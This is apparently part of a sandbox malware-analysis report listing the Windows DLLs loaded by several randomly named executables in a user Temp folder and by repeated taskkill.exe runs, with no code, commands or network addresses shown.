Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
